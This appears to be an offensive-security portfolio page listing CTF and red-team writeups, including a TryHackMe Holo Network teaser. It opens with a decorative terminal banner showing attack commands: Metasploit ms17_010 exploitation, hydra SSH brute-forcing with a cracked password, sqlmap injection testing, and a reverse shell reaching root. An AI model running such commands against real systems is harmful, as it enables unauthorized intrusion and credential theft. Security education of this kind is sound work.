$ nmap -sV 192.168.1.0/24 PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https $ sqlmap -u http://target/id=1 [*] testing connection [*] checking stability Parameter: id (GET) Type: boolean-based blind $ msfconsole -q msf6 > use exploit/ms17_010 msf6 > set RHOSTS 10.0.0.5 msf6 > exploit [*] Meterpreter session 1 $ gobuster dir -u target.com /admin [200] /login [200] /backup [403] $ nikto -h target.com + Server: Apache/2.4.18 + XSS: header not set + SQLi possible $ hydra -l admin -P rockyou.txt [22][ssh] host: 10.0.0.1 login: admin pass: password123 $ python3 reverse_shell.py Listening on 0.0.0.0:4444 Connection received $ whoami root $ id uid=0(root) gid=0

← back to portfolio

Writeups & Research

CVE research, CTF walkthroughs, bug bounty disclosures, and notes from the trenches of offensive security.

All CVE Research CTF Writeup Bug Bounty Red Teaming Tools & Techniques Penetration Testing

// TAG: ACTIVE DIRECTORY (1)

TryHackMe
Red Teaming

Advanced

★

Active Directory Kerberoasting Pivoting

TryHackMe – Holo Network: Full Red Team Engagement Writeup

End-to-end red team engagement — recon, web shell upload, internal pivoting, and Active Directory compromise via …

Mar 30, 2026 · 18–22 min read